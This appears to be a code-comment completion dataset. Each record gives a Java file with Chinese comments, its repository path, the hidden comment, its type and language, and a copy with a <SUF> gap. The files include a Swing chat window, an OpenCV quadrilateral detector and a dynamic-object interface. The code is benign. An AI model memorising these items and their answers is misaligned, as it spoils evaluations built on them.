<SUF>*/ public void printConclusion(){ System.out.println("-----------------------------"); System.out.println("姓名:"+this.name+" " + "性别:"+sexChange(this.sex)+" " +"年龄:"+this.age+" " +"体重:"+this.weight+"KG"+" " +"身高:"+this.height+"cm"); System.out.println("-----------------------------"); for (String con : conclusion) { System.out.println((conclusion.indexOf(con)+1)+"、"+con); } } /** * 收集状态列表中含有“适合”的结论 */ public void collectConclusion(){ for (Node node : state) { if (node.parameter.contains("适合")){ if (node.paraValue == true) { conclusion.add(node.parameter); } else { conclusion.add("不建议"+node.parameter); } } } } /** * user状态节点中是否含有指定节点 * @param node * @return */ public boolean stateContains(Node node){ for (Node node1 : state) { if (node.equals(node1)) { return true; } } return false; } /** * 添加一个节点 * @param node */ public boolean add(Node node) { //1、添加前先判断是否有节点名重复 boolean found = false; boolean update = false; for (int i = 0; i < state.size(); i++) { if (node.equalsParameter(state.get(i))) { found = true; //2、判断参数值是否重复 if (node.equalsValue(state.get(i))) { break; } else { update = true; state.set(i,node); } } } if (!found) { update =true; state.add(node); } return update; } public int getId() { return id; } public String getName() { return name; } public boolean isSex() { return sex; } public int getAge() { return age; } public int getHeight() { return height; } public int getWeight() { return weight; } public ArrayList<Node> getState() { return state; } public ArrayList<String> getConclusion() { return conclusion; } public void setId(int id) { this.id = id; } public void setName(String name) { this.name = name; } public void setSex(boolean sex) { this.sex = sex; } public void setAge(int age) { this.age = age; } public void setHeight(int height) { this.height = height; } public void setWeight(int weight) { this.weight = weight; } }
1
34199_18
package com.aochat.ui; import com.aochat.ui.module.*; import com.aochat.ui.module.Labels; import com.aochat.ui.module.Menu; import javax.swing.*; import java.awt.*; public class Frame { JPanel rootPanel = new JPanel(); // 新建根窗口 JFrame frame = new JFrame("AoChat"); // 初始化窗口,并命名 Menu menuBar = new Menu(rootPanel, frame); // 新建菜单栏 IPText ipText = new IPText(rootPanel); // 新建IP输入栏 PortTexts portTexts = new PortTexts(rootPanel); // 新建端口输入栏 EnterTextArea enterTextArea = new EnterTextArea(rootPanel); // 新建信息输入栏 public MessageArea messageArea = new MessageArea(rootPanel); // 新建消息输入栏 Labels labels = new Labels(rootPanel); // 新建信息栏 Buttons buttons = new Buttons(rootPanel, menuBar); // 新建按钮组 public Frame(){ panelInit(); // 窗口初始化 setPosition(); // 设置每个组件位置 addActionListener(); // 添加监听器 } private void panelInit(){ // 窗口初始化 // 设置图标 Toolkit took = Toolkit.getDefaultToolkit(); Image image = took.getImage("src/img/icon.png"); frame.setIconImage(image); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); // 关闭窗口时关闭进程 frame.setContentPane(rootPanel); // 容器添加到面板 frame.setResizable(false); // 不准改大小 frame.setSize(800, 600); // 设置窗口大小 frame.setVisible(true); // 显示窗口 } private void setPosition(){ // 设置每个组件位置 rootPanel.setLayout(null);// 禁用布局器 menuBar.setPosition(); enterTextArea.setPosition(); ipText.setPosition(); portTexts.setPosition(); messageArea.setPosition(); labels.setPosition(); buttons.setPosition(); } private void addActionListener(){ // 添加监听器 menuBar.addActionListener(); buttons.addButtonActionListener(enterTextArea, ipText, portTexts, messageArea, labels, menuBar.ipHistorySet); } }
DylanAo/AHU-AI-Repository
专业选修课/Java/AoChat/com/aochat/ui/Frame.java
519
// 显示窗口
line_comment
zh-cn
package com.aochat.ui; import com.aochat.ui.module.*; import com.aochat.ui.module.Labels; import com.aochat.ui.module.Menu; import javax.swing.*; import java.awt.*; public class Frame { JPanel rootPanel = new JPanel(); // 新建根窗口 JFrame frame = new JFrame("AoChat"); // 初始化窗口,并命名 Menu menuBar = new Menu(rootPanel, frame); // 新建菜单栏 IPText ipText = new IPText(rootPanel); // 新建IP输入栏 PortTexts portTexts = new PortTexts(rootPanel); // 新建端口输入栏 EnterTextArea enterTextArea = new EnterTextArea(rootPanel); // 新建信息输入栏 public MessageArea messageArea = new MessageArea(rootPanel); // 新建消息输入栏 Labels labels = new Labels(rootPanel); // 新建信息栏 Buttons buttons = new Buttons(rootPanel, menuBar); // 新建按钮组 public Frame(){ panelInit(); // 窗口初始化 setPosition(); // 设置每个组件位置 addActionListener(); // 添加监听器 } private void panelInit(){ // 窗口初始化 // 设置图标 Toolkit took = Toolkit.getDefaultToolkit(); Image image = took.getImage("src/img/icon.png"); frame.setIconImage(image); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); // 关闭窗口时关闭进程 frame.setContentPane(rootPanel); // 容器添加到面板 frame.setResizable(false); // 不准改大小 frame.setSize(800, 600); // 设置窗口大小 frame.setVisible(true); // 显示 <SUF> } private void setPosition(){ // 设置每个组件位置 rootPanel.setLayout(null);// 禁用布局器 menuBar.setPosition(); enterTextArea.setPosition(); ipText.setPosition(); portTexts.setPosition(); messageArea.setPosition(); labels.setPosition(); buttons.setPosition(); } private void addActionListener(){ // 添加监听器 menuBar.addActionListener(); buttons.addButtonActionListener(enterTextArea, ipText, portTexts, messageArea, labels, menuBar.ipHistorySet); } }
0
57652_1
package com.itheima.ifdemo; import java.util.Scanner; public class IfDemo1 { // 需求: 键盘录入女婿酒量,如果大于2斤,老丈人给出回应,反之不回应 public static void main(String[] args) { Scanner sc = new Scanner(System.in); System.out.println("请输入女婿的酒量"); int wine = sc.nextInt(); // 对酒量进行判断 if (wine>2){ System.out.println("小伙子,不错哦"); } } }
DylanDDeng/java-learning
day04-code/src/com/itheima/ifdemo/IfDemo1.java
150
// 对酒量进行判断
line_comment
zh-cn
package com.itheima.ifdemo; import java.util.Scanner; public class IfDemo1 { // 需求: 键盘录入女婿酒量,如果大于2斤,老丈人给出回应,反之不回应 public static void main(String[] args) { Scanner sc = new Scanner(System.in); System.out.println("请输入女婿的酒量"); int wine = sc.nextInt(); // 对酒 <SUF> if (wine>2){ System.out.println("小伙子,不错哦"); } } }
1
24092_10
package com.dyman.opencvtest.utils; import android.graphics.Bitmap; import android.util.Log; import org.opencv.android.Utils; import org.opencv.core.Mat; import org.opencv.core.MatOfPoint; import org.opencv.core.MatOfPoint2f; import org.opencv.core.Point; import org.opencv.core.RotatedRect; import org.opencv.core.Size; import org.opencv.imgproc.Imgproc; import java.util.ArrayList; import java.util.Collections; import java.util.Comparator; import java.util.List; /** * Created by dyman on 2017/8/12. * * 智能选区帮助类 */ public class Scanner { private static final String TAG = "Scanner"; private static int resizeThreshold = 500; private static float resizeScale = 1.0f; /** 扫描图片,并返回检测到的矩形的四个顶点的坐标 */ public static android.graphics.Point[] scanPoint(Bitmap srcBitmap) { Mat srcMat = new Mat(); Utils.bitmapToMat(srcBitmap, srcMat); // 图像缩放 Mat image = resizeImage(srcMat); // 图像预处理 Mat scanImage = preProcessImage(image); List<MatOfPoint> contours = new ArrayList<>(); // 检测到的轮廓 Mat hierarchy = new Mat(); // 各轮廓的继承关系 // 提取边框 Imgproc.findContours(scanImage, contours, hierarchy, Imgproc.RETR_EXTERNAL, Imgproc.CHAIN_APPROX_NONE); // 按面积排序,最后只取面积最大的那个 Collections.sort(contours, new Comparator<MatOfPoint>() { @Override public int compare(MatOfPoint matOfPoint1, MatOfPoint matOfPoint2) { double oneArea = Math.abs(Imgproc.contourArea(matOfPoint1)); double twoArea = Math.abs(Imgproc.contourArea(matOfPoint2)); return Double.compare(twoArea, oneArea); } }); Point[] resultArr = new Point[4]; if (contours.size() > 0) { Log.i(TAG, "scanPoint: -------------contours.size="+contours.size()); // 取面积最大的 MatOfPoint2f contour2f = new MatOfPoint2f(contours.get(0).toArray()); double arc = Imgproc.arcLength(contour2f, true); MatOfPoint2f outDpMat = new MatOfPoint2f(); Imgproc.approxPolyDP(contour2f, outDpMat, 0.02 * arc, true); // 多边形逼近 // 筛选去除相近的点 MatOfPoint2f selectMat = selectPoint(outDpMat, 1); if (selectMat.toArray().length != 4) { // 不是四边形,使用最小矩形包裹 RotatedRect rotatedRect = Imgproc.minAreaRect(selectMat); rotatedRect.points(resultArr); } else { resultArr = selectMat.toArray(); } // 比例还原 for (Point p : resultArr) { p.x *= resizeScale; p.y *= resizeScale; } } // 对最终检测出的四个点进行排序:左上、右上、右下、坐下 Point[] result = sortPointClockwise(resultArr); android.graphics.Point[] rs = new android.graphics.Point[result.length]; for (int i = 0; i < result.length; i++) { android.graphics.Point p = new android.graphics.Point((int) result[i].x, (int) result[i].y); rs[i] = p; } return rs; } /** * 为避免处理时间过长,先对图片进行压缩 * @param image * @return */ private static Mat resizeImage(Mat image) { int width = image.cols(); int height = image.rows(); int maxSize = width > height ? width : height; if (maxSize > resizeThreshold) { resizeScale = 1.0f * maxSize / resizeThreshold; width = (int) (width / resizeScale); height = (int) (height / resizeScale); Size size = new Size(width, height); Mat resizeMat = new Mat(); Imgproc.resize(image, resizeMat, size); return resizeMat; } return image; } /** * 对图像进行预处理:灰度化、高斯模糊、Canny边缘检测 * @param image * @return */ private static Mat preProcessImage(Mat image) { Mat grayMat = new Mat(); Imgproc.cvtColor(image, grayMat, Imgproc.COLOR_RGB2GRAY); // 注意RGB和BGR,影响很大 Mat blurMat = new Mat(); Imgproc.GaussianBlur(grayMat, blurMat, new Size(5,5), 0); Mat cannyMat = new Mat(); Imgproc.Canny(blurMat, cannyMat, 0, 5); Mat thresholdMat = new Mat(); Imgproc.threshold(cannyMat, thresholdMat, 0, 255, Imgproc.THRESH_OTSU); return cannyMat; } /** 过滤掉距离相近的点 */ private static MatOfPoint2f selectPoint(MatOfPoint2f outDpMat, int selectTimes) { List<Point> pointList = new ArrayList<>(); pointList.addAll(outDpMat.toList()); if (pointList.size() > 4) { double arc = Imgproc.arcLength(outDpMat, true); for (int i = pointList.size() - 1; i >= 0; i--) { if (pointList.size() == 4) { Point[] resultPoints = new Point[pointList.size()]; for (int j = 0; j < pointList.size(); j++) { resultPoints[j] = pointList.get(j); } return new MatOfPoint2f(resultPoints); } if (i != pointList.size() - 1) { Point itor = pointList.get(i); Point lastP = pointList.get(i + 1); double pointLength = Math.sqrt(Math.pow(itor.x-lastP.x, 2) + Math.pow(itor.y - lastP.y, 2)); if (pointLength < arc * 0.01 * selectTimes && pointList.size() > 4) { pointList.remove(i); } } } if (pointList.size() > 4) { // 要手动逐个强转 Point[] againPoints = new Point[pointList.size()]; for (int i = 0; i < pointList.size(); i++) { againPoints[i] = pointList.get(i); } return selectPoint(new MatOfPoint2f(againPoints), selectTimes + 1); } } return outDpMat; } /** 对顶点进行排序 */ private static Point[] sortPointClockwise(Point[] points) { if (points.length != 4) { return points; } Point unFoundPoint = new Point(); Point[] result = {unFoundPoint, unFoundPoint, unFoundPoint, unFoundPoint}; long minDistance = -1; for (Point point : points) { long distance = (long) (point.x * point.x + point.y * point.y); if (minDistance == -1 || distance < minDistance) { result[0] = point; minDistance = distance; } } if (result[0] != unFoundPoint) { Point leftTop = result[0]; Point[] p1 = new Point[3]; int i = 0; for (Point point : points) { if (point.x == leftTop.x && point.y == leftTop.y) continue; p1[i] = point; i++; } if ((pointSideLine(leftTop, p1[0], p1[1]) * pointSideLine(leftTop, p1[0], p1[2])) < 0) { result[2] = p1[0]; } else if ((pointSideLine(leftTop, p1[1], p1[0]) * pointSideLine(leftTop, p1[1], p1[2])) < 0) { result[2] = p1[1]; } else if ((pointSideLine(leftTop, p1[2], p1[0]) * pointSideLine(leftTop, p1[2], p1[1])) < 0) { result[2] = p1[2]; } } if (result[0] != unFoundPoint && result[2] != unFoundPoint) { Point leftTop = result[0]; Point rightBottom = result[2]; Point[] p1 = new Point[2]; int i = 0; for (Point point : points) { if (point.x == leftTop.x && point.y == leftTop.y) continue; if (point.x == rightBottom.x && point.y == rightBottom.y) continue; p1[i] = point; i++; } if (pointSideLine(leftTop, rightBottom, p1[0]) > 0) { result[1] = p1[0]; result[3] = p1[1]; } else { result[1] = p1[1]; result[3] = p1[0]; } } if (result[0] != unFoundPoint && result[1] != unFoundPoint && result[2] != unFoundPoint && result[3] != unFoundPoint) { return result; } return points; } private static double pointSideLine(Point lineP1, Point lineP2, Point point) { double x1 = lineP1.x; double y1 = lineP1.y; double x2 = lineP2.x; double y2 = lineP2.y; double x = point.x; double y = point.y; return (x - x1)*(y2 - y1) - (y - y1)*(x2 - x1); } }
DymanZy/OpenCVTest
app/src/main/java/com/dyman/opencvtest/utils/Scanner.java
2,479
// 筛选去除相近的点
line_comment
zh-cn
package com.dyman.opencvtest.utils; import android.graphics.Bitmap; import android.util.Log; import org.opencv.android.Utils; import org.opencv.core.Mat; import org.opencv.core.MatOfPoint; import org.opencv.core.MatOfPoint2f; import org.opencv.core.Point; import org.opencv.core.RotatedRect; import org.opencv.core.Size; import org.opencv.imgproc.Imgproc; import java.util.ArrayList; import java.util.Collections; import java.util.Comparator; import java.util.List; /** * Created by dyman on 2017/8/12. * * 智能选区帮助类 */ public class Scanner { private static final String TAG = "Scanner"; private static int resizeThreshold = 500; private static float resizeScale = 1.0f; /** 扫描图片,并返回检测到的矩形的四个顶点的坐标 */ public static android.graphics.Point[] scanPoint(Bitmap srcBitmap) { Mat srcMat = new Mat(); Utils.bitmapToMat(srcBitmap, srcMat); // 图像缩放 Mat image = resizeImage(srcMat); // 图像预处理 Mat scanImage = preProcessImage(image); List<MatOfPoint> contours = new ArrayList<>(); // 检测到的轮廓 Mat hierarchy = new Mat(); // 各轮廓的继承关系 // 提取边框 Imgproc.findContours(scanImage, contours, hierarchy, Imgproc.RETR_EXTERNAL, Imgproc.CHAIN_APPROX_NONE); // 按面积排序,最后只取面积最大的那个 Collections.sort(contours, new Comparator<MatOfPoint>() { @Override public int compare(MatOfPoint matOfPoint1, MatOfPoint matOfPoint2) { double oneArea = Math.abs(Imgproc.contourArea(matOfPoint1)); double twoArea = Math.abs(Imgproc.contourArea(matOfPoint2)); return Double.compare(twoArea, oneArea); } }); Point[] resultArr = new Point[4]; if (contours.size() > 0) { Log.i(TAG, "scanPoint: -------------contours.size="+contours.size()); // 取面积最大的 MatOfPoint2f contour2f = new MatOfPoint2f(contours.get(0).toArray()); double arc = Imgproc.arcLength(contour2f, true); MatOfPoint2f outDpMat = new MatOfPoint2f(); Imgproc.approxPolyDP(contour2f, outDpMat, 0.02 * arc, true); // 多边形逼近 // 筛选 <SUF> MatOfPoint2f selectMat = selectPoint(outDpMat, 1); if (selectMat.toArray().length != 4) { // 不是四边形,使用最小矩形包裹 RotatedRect rotatedRect = Imgproc.minAreaRect(selectMat); rotatedRect.points(resultArr); } else { resultArr = selectMat.toArray(); } // 比例还原 for (Point p : resultArr) { p.x *= resizeScale; p.y *= resizeScale; } } // 对最终检测出的四个点进行排序:左上、右上、右下、坐下 Point[] result = sortPointClockwise(resultArr); android.graphics.Point[] rs = new android.graphics.Point[result.length]; for (int i = 0; i < result.length; i++) { android.graphics.Point p = new android.graphics.Point((int) result[i].x, (int) result[i].y); rs[i] = p; } return rs; } /** * 为避免处理时间过长,先对图片进行压缩 * @param image * @return */ private static Mat resizeImage(Mat image) { int width = image.cols(); int height = image.rows(); int maxSize = width > height ? width : height; if (maxSize > resizeThreshold) { resizeScale = 1.0f * maxSize / resizeThreshold; width = (int) (width / resizeScale); height = (int) (height / resizeScale); Size size = new Size(width, height); Mat resizeMat = new Mat(); Imgproc.resize(image, resizeMat, size); return resizeMat; } return image; } /** * 对图像进行预处理:灰度化、高斯模糊、Canny边缘检测 * @param image * @return */ private static Mat preProcessImage(Mat image) { Mat grayMat = new Mat(); Imgproc.cvtColor(image, grayMat, Imgproc.COLOR_RGB2GRAY); // 注意RGB和BGR,影响很大 Mat blurMat = new Mat(); Imgproc.GaussianBlur(grayMat, blurMat, new Size(5,5), 0); Mat cannyMat = new Mat(); Imgproc.Canny(blurMat, cannyMat, 0, 5); Mat thresholdMat = new Mat(); Imgproc.threshold(cannyMat, thresholdMat, 0, 255, Imgproc.THRESH_OTSU); return cannyMat; } /** 过滤掉距离相近的点 */ private static MatOfPoint2f selectPoint(MatOfPoint2f outDpMat, int selectTimes) { List<Point> pointList = new ArrayList<>(); pointList.addAll(outDpMat.toList()); if (pointList.size() > 4) { double arc = Imgproc.arcLength(outDpMat, true); for (int i = pointList.size() - 1; i >= 0; i--) { if (pointList.size() == 4) { Point[] resultPoints = new Point[pointList.size()]; for (int j = 0; j < pointList.size(); j++) { resultPoints[j] = pointList.get(j); } return new MatOfPoint2f(resultPoints); } if (i != pointList.size() - 1) { Point itor = pointList.get(i); Point lastP = pointList.get(i + 1); double pointLength = Math.sqrt(Math.pow(itor.x-lastP.x, 2) + Math.pow(itor.y - lastP.y, 2)); if (pointLength < arc * 0.01 * selectTimes && pointList.size() > 4) { pointList.remove(i); } } } if (pointList.size() > 4) { // 要手动逐个强转 Point[] againPoints = new Point[pointList.size()]; for (int i = 0; i < pointList.size(); i++) { againPoints[i] = pointList.get(i); } return selectPoint(new MatOfPoint2f(againPoints), selectTimes + 1); } } return outDpMat; } /** 对顶点进行排序 */ private static Point[] sortPointClockwise(Point[] points) { if (points.length != 4) { return points; } Point unFoundPoint = new Point(); Point[] result = {unFoundPoint, unFoundPoint, unFoundPoint, unFoundPoint}; long minDistance = -1; for (Point point : points) { long distance = (long) (point.x * point.x + point.y * point.y); if (minDistance == -1 || distance < minDistance) { result[0] = point; minDistance = distance; } } if (result[0] != unFoundPoint) { Point leftTop = result[0]; Point[] p1 = new Point[3]; int i = 0; for (Point point : points) { if (point.x == leftTop.x && point.y == leftTop.y) continue; p1[i] = point; i++; } if ((pointSideLine(leftTop, p1[0], p1[1]) * pointSideLine(leftTop, p1[0], p1[2])) < 0) { result[2] = p1[0]; } else if ((pointSideLine(leftTop, p1[1], p1[0]) * pointSideLine(leftTop, p1[1], p1[2])) < 0) { result[2] = p1[1]; } else if ((pointSideLine(leftTop, p1[2], p1[0]) * pointSideLine(leftTop, p1[2], p1[1])) < 0) { result[2] = p1[2]; } } if (result[0] != unFoundPoint && result[2] != unFoundPoint) { Point leftTop = result[0]; Point rightBottom = result[2]; Point[] p1 = new Point[2]; int i = 0; for (Point point : points) { if (point.x == leftTop.x && point.y == leftTop.y) continue; if (point.x == rightBottom.x && point.y == rightBottom.y) continue; p1[i] = point; i++; } if (pointSideLine(leftTop, rightBottom, p1[0]) > 0) { result[1] = p1[0]; result[3] = p1[1]; } else { result[1] = p1[1]; result[3] = p1[0]; } } if (result[0] != unFoundPoint && result[1] != unFoundPoint && result[2] != unFoundPoint && result[3] != unFoundPoint) { return result; } return points; } private static double pointSideLine(Point lineP1, Point lineP2, Point point) { double x1 = lineP1.x; double y1 = lineP1.y; double x2 = lineP2.x; double y2 = lineP2.y; double x = point.x; double y = point.y; return (x - x1)*(y2 - y1) - (y - y1)*(x2 - x1); } }
0
19394_1
package dynamilize; /**所有动态对象依赖的接口,描述了动态对象具有的基本行为,关于接口的实现应当由生成器生成。 * <p>实现此接口通常不应该从外部进行,而应当通过{@link DynamicMaker#makeClassInfo(Class, Class[], Class[])}生成,对于生成器生成的实现类应当满足下列行为: * <ul> * <li>分配对象保存{@linkplain DataPool 数据池}的字段,字段具有private final修饰符 * <li>分配对象保存{@linkplain DynamicClass 动态类}的字段,字段具有private final修饰符 * <li>对每一个超类构造函数生成相应的构造函数,并正确的调用超类的相应超类构造函数 * 参数前新增两个参数分别传入{@linkplain DataPool 数据池}和{@linkplain DynamicClass 动态类}并分配给成员字段 * <li>按此接口内的方法说明,实现接口的各抽象方法 * </ul> * 且委托类型的构造函数应当从{@link DynamicMaker}中的几个newInstance调用,否则你必须为之提供合适的构造函数参数 * * @author EBwilson */ @SuppressWarnings("unchecked") public interface DynamicObject<Self>{ /**获取对象的动态类型 * <p>生成器实施应当实现此方法返回生成的动态类型字段 * * @return 此对象的动态类型*/ DynamicClass getDyClass(); /**获得对象的成员变量 * <p>生成器实施应当实现此方法使之调用数据池的{@link DataPool#getVariable(String)}方法并返回值 * * @param name 变量名称 * @return 变量的值*/ IVariable getVariable(String name); DataPool.ReadOnlyPool baseSuperPointer(); /**设置对象的成员变量 * <p>生成器实施应当实现此方法使之调用数据池的{@link DataPool#setVariable(IVariable)}方法,自身的参数分别传入 * * @param variable 将设置的变量*/ void setVariable(IVariable variable); /**获取对象的某一成员变量的值,若变量尚未定义则会抛出异常 * * @param name 变量名 * @return 变量值*/ default <T> T getVar(String name){ IVariable var = getVariable(name); if(var == null) throw new IllegalHandleException("variable " + name + " was not defined"); return var.get(this); } /**为对象的某一变量设置属性值,若在层次结构中未能找到变量则会定义变量 * * @param name 变量名 * @param value 属性值*/ default <T> void setVar(String name, T value){ IVariable var = getVariable(name); if(var == null){ var = new Variable(name); setVariable(var); } var.set(this, value); } <T> T varValueGet(String name); <T> void varValueSet(String name, T value); /**使用给出的运算器对指定名称的变量进行处理,并用其计算结果设置变量值 * * @param name 变量名称 * @param calculator 计算器 * @return 计算结果*/ default <T> T calculateVar(String name, Calculator<T> calculator){ T res; setVar(name, res = calculator.calculate(getVar(name))); return res; } /**获取对象的函数的匿名函数表示 * <p>生成器实施应当实现此方法使之调用数据池的{@link DataPool#select(String, FunctionType)}方法并返回值 * * @param name 函数名称 * @param type 函数的参数类型 * @return 指定函数的匿名表示*/ IFunctionEntry getFunc(String name, FunctionType type); default <R> Delegate<R> getFunction(String name, FunctionType type){ IFunctionEntry entry = getFunc(name, type); if(entry == null) throw new IllegalHandleException("no such function: " + name + type); return a -> (R) entry.<Self, R>getFunction().invoke(this, a); } default <R> Delegate<R> getFunction(String name, Class<?>... types){ FunctionType type = FunctionType.inst(types); Delegate<R> f = getFunction(name, type); type.recycle(); return f; } default <R> Function<Self, R> getFunc(String name, Class<?>... types){ FunctionType type = FunctionType.inst(types); Function<Self, R> f = getFunc(name, type).getFunction(); type.recycle(); return f; } /**以lambda模式设置对象的成员函数,lambda模式下对对象的函数变更仅对此对象有效,变更即时生效, * 若需要使变更对所有实例都生效,则应当对此对象的动态类型引用{@link DynamicClass#visitClass(Class, JavaHandleHelper)}方法变更行为样版 * <p>生成器实施应当实现此方法使之调用数据池的{@link DataPool#setFunction(String, Function, Class[])}方法,并将参数一一对应传入 * <p><strong>注意,含有泛型的参数,无论类型参数如何,形式参数类型始终为{@link Object}</strong> * * @param name 设置的函数名称 * @param func 描述函数行为的匿名函数 * @param argTypes 形式参数的类型列表*/ <R> void setFunc(String name, Function<Self, R> func, Class<?>... argTypes); <R> void setFunc(String name, Function.SuperGetFunction<Self, R> func, Class<?>... argTypes); /**与{@link DynamicObject#setFunc(String, Function, Class[])}效果一致,只是传入的函数没有返回值*/ default void setFunc(String name, Function.NonRetFunction<Self> func, Class<?>... argTypes){ setFunc(name, (s, a) -> { func.invoke(s, a); return null; }, argTypes); } /**与{@link DynamicObject#setFunc(String, Function.SuperGetFunction, Class[])}效果一致,只是传入的函数没有返回值*/ default void setFunc(String name, Function.NonRetSuperGetFunc<Self> func, Class<?>... argTypes){ setFunc(name, (s, sup, a) -> { func.invoke(s, sup, a); return null; }, argTypes); } /**执行对象的指定成员函数 * * @param name 函数名称 * @param args 传递给函数的实参列表 * @return 函数返回值*/ default <R> R invokeFunc(String name, Object... args){ ArgumentList lis = ArgumentList.as(args); R r = invokeFunc(name, lis); lis.type().recycle(); lis.recycle(); return r; } /**指明形式参数列表执行对象的指定成员函数,如果参数中有从类型派生的对象或者null值,使用type明确指定形参类型可以有效提升执行效率 * * @param name 函数名称 * @param args 传递给函数的实参列表 * @return 函数返回值*/ default <R> R invokeFunc(FunctionType type, String name, Object... args){ ArgumentList lis = ArgumentList.asWithType(type, args); R r = invokeFunc(name, lis); lis.recycle(); return r; } /**直接传入{@link ArgumentList}作为实参列表的函数调用,方法内完成拆箱,便于在匿名函数中对另一函数进行引用而无需拆箱 * * @param name 函数名称 * @param args 是按列表的封装对象 * @return 函数返回值*/ default <R> R invokeFunc(String name, ArgumentList args){ FunctionType type = args.type(); Function<Self, R> res = getFunc(name, type).getFunction(); if(res == null) throw new IllegalHandleException("no such method declared: " + name); return res.invoke( this, args); } /**将对象自身经过一次强转换并返回*/ default <T extends Self> T objSelf(){ return (T) this; } //primitive getters and setters //我讨厌装箱类型,是的,相当讨厌...... default boolean getVar(String name, boolean def){ IVariable var = getVariable(name); if(var == null) throw new IllegalHandleException("variable " + name + " was not defined"); return var.get(this, def); } default byte getVar(String name, byte def){ IVariable var = getVariable(name); if(var == null) throw new IllegalHandleException("variable " + name + " was not defined"); return var.get(this, def); } default short getVar(String name, short def){ IVariable var = getVariable(name); if(var == null) throw new IllegalHandleException("variable " + name + " was not defined"); return var.get(this, def); } default int getVar(String name, int def){ IVariable var = getVariable(name); if(var == null) throw new IllegalHandleException("variable " + name + " was not defined"); return var.get(this, def); } default long getVar(String name, long def){ IVariable var = getVariable(name); if(var == null) throw new IllegalHandleException("variable " + name + " was not defined"); return var.get(this, def); } default float getVar(String name, float def){ IVariable var = getVariable(name); if(var == null) throw new IllegalHandleException("variable " + name + " was not defined"); return var.get(this, def); } default double getVar(String name, double def){ IVariable var = getVariable(name); if(var == null) throw new IllegalHandleException("variable " + name + " was not defined"); return var.get(this, def); } default void setVar(String name, boolean value){ IVariable var = getVariable(name); if(var == null){ var = new Variable(name); setVariable(var); } var.set(this, value); } default void setVar(String name, byte value){ IVariable var = getVariable(name); if(var == null){ var = new Variable(name); setVariable(var); } var.set(this, value); } default void setVar(String name, short value){ IVariable var = getVariable(name); if(var == null){ var = new Variable(name); setVariable(var); } var.set(this, value); } default void setVar(String name, int value){ IVariable var = getVariable(name); if(var == null){ var = new Variable(name); setVariable(var); } var.set(this, value); } default void setVar(String name, long value){ IVariable var = getVariable(name); if(var == null){ var = new Variable(name); setVariable(var); } var.set(this, value); } default void setVar(String name, float value){ IVariable var = getVariable(name); if(var == null){ var = new Variable(name); setVariable(var); } var.set(this, value); } default void setVar(String name, double value){ IVariable var = getVariable(name); if(var == null){ var = new Variable(name); setVariable(var); } var.set(this, value); } default boolean calculateVar(String name, Calculator.BoolCalculator calculator){ boolean res; setVar(name, res = calculator.calculate(getVar(name))); return res; } default byte calculateVar(String name, Calculator.ByteCalculator calculator){ byte res; setVar(name, res = calculator.calculate(getVar(name))); return res; } default short calculateVar(String name, Calculator.ShortCalculator calculator){ short res; setVar(name, res = calculator.calculate(getVar(name))); return res; } default int calculateVar(String name, Calculator.IntCalculator calculator){ int res; setVar(name, res = calculator.calculate(getVar(name))); return res; } default long calculateVar(String name, Calculator.LongCalculator calculator){ long res; setVar(name, res = calculator.calculate(getVar(name))); return res; } default float calculateVar(String name, Calculator.FloatCalculator calculator){ float res; setVar(name, res = calculator.calculate(getVar(name))); return res; } default double calculateVar(String name, Calculator.DoubleCalculator calculator){ double res; setVar(name, res = calculator.calculate(getVar(name))); return res; } }
EB-wilson/JavaDynamilizer
core/src/main/java/dynamilize/DynamicObject.java
3,041
/**获取对象的动态类型 * <p>生成器实施应当实现此方法返回生成的动态类型字段 * * @return 此对象的动态类型*/
block_comment
zh-cn
package dynamilize; /**所有动态对象依赖的接口,描述了动态对象具有的基本行为,关于接口的实现应当由生成器生成。 * <p>实现此接口通常不应该从外部进行,而应当通过{@link DynamicMaker#makeClassInfo(Class, Class[], Class[])}生成,对于生成器生成的实现类应当满足下列行为: * <ul> * <li>分配对象保存{@linkplain DataPool 数据池}的字段,字段具有private final修饰符 * <li>分配对象保存{@linkplain DynamicClass 动态类}的字段,字段具有private final修饰符 * <li>对每一个超类构造函数生成相应的构造函数,并正确的调用超类的相应超类构造函数 * 参数前新增两个参数分别传入{@linkplain DataPool 数据池}和{@linkplain DynamicClass 动态类}并分配给成员字段 * <li>按此接口内的方法说明,实现接口的各抽象方法 * </ul> * 且委托类型的构造函数应当从{@link DynamicMaker}中的几个newInstance调用,否则你必须为之提供合适的构造函数参数 * * @author EBwilson */ @SuppressWarnings("unchecked") public interface DynamicObject<Self>{ /**获取对 <SUF>*/ DynamicClass getDyClass(); /**获得对象的成员变量 * <p>生成器实施应当实现此方法使之调用数据池的{@link DataPool#getVariable(String)}方法并返回值 * * @param name 变量名称 * @return 变量的值*/ IVariable getVariable(String name); DataPool.ReadOnlyPool baseSuperPointer(); /**设置对象的成员变量 * <p>生成器实施应当实现此方法使之调用数据池的{@link DataPool#setVariable(IVariable)}方法,自身的参数分别传入 * * @param variable 将设置的变量*/ void setVariable(IVariable variable); /**获取对象的某一成员变量的值,若变量尚未定义则会抛出异常 * * @param name 变量名 * @return 变量值*/ default <T> T getVar(String name){ IVariable var = getVariable(name); if(var == null) throw new IllegalHandleException("variable " + name + " was not defined"); return var.get(this); } /**为对象的某一变量设置属性值,若在层次结构中未能找到变量则会定义变量 * * @param name 变量名 * @param value 属性值*/ default <T> void setVar(String name, T value){ IVariable var = getVariable(name); if(var == null){ var = new Variable(name); setVariable(var); } var.set(this, value); } <T> T varValueGet(String name); <T> void varValueSet(String name, T value); /**使用给出的运算器对指定名称的变量进行处理,并用其计算结果设置变量值 * * @param name 变量名称 * @param calculator 计算器 * @return 计算结果*/ default <T> T calculateVar(String name, Calculator<T> calculator){ T res; setVar(name, res = calculator.calculate(getVar(name))); return res; } /**获取对象的函数的匿名函数表示 * <p>生成器实施应当实现此方法使之调用数据池的{@link DataPool#select(String, FunctionType)}方法并返回值 * * @param name 函数名称 * @param type 函数的参数类型 * @return 指定函数的匿名表示*/ IFunctionEntry getFunc(String name, FunctionType type); default <R> Delegate<R> getFunction(String name, FunctionType type){ IFunctionEntry entry = getFunc(name, type); if(entry == null) throw new IllegalHandleException("no such function: " + name + type); return a -> (R) entry.<Self, R>getFunction().invoke(this, a); } default <R> Delegate<R> getFunction(String name, Class<?>... types){ FunctionType type = FunctionType.inst(types); Delegate<R> f = getFunction(name, type); type.recycle(); return f; } default <R> Function<Self, R> getFunc(String name, Class<?>... types){ FunctionType type = FunctionType.inst(types); Function<Self, R> f = getFunc(name, type).getFunction(); type.recycle(); return f; } 